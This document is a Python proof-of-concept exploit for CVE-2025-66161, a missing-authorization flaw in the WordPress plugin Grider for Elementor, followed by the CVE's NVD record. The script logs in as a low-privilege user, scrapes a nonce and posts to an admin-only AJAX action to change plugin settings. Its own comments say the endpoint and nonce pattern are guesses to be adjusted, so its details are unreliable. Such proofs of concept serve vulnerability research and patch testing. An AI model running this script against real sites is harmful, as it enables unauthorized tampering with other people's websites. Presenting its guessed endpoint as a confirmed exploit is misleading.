CVE-2025-66161

# CVE-2025-66161 PoC - Grider for Elementor Broken Access Control # Usage: python3 poc.py <target_url> <username> <password> import requests import sys import re def get_nonce(url, username, password): """Login and extract WordPress nonce""" session = requests.Session() login_url = f"{url}/wp-login.php" # Login login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Get admin page to extract nonce admin_url = f"{url}/wp-admin/admin.php?page=grider_settings" resp = session.get(admin_url) # Extract nonce (adjust pattern based on actual implementation) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) if nonce_match: return session, nonce_match.group(1) return session, None def exploit(url, username, password): """Execute unauthorized action""" session, nonce = get_nonce(url, username, password) # Target endpoint - adjust based on actual vulnerable function target_url = f"{url}/wp-admin/admin-ajax.php" # PoC: Low-privilege user can trigger admin-only function data = { 'action': 'grider_save_settings', '_wpnonce': nonce, 'setting_name': 'malicious_value', 'security': nonce } response = session.post(target_url, data=data) if response.status_code == 200: print(f"[!] Request sent - Check if unauthorized action was executed") print(f"Response: {response.text[:500]}") else: print(f"[*] Request failed with status: {response.status_code}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python3 {sys.argv[0]} <url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-66161", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:58.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Grider for Elementor grider-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Grider for Elementor: from n/a through <= 1.0.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/grider-elementor/vulnerability/wordpress-grider-for-elementor-plugin-1-0-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}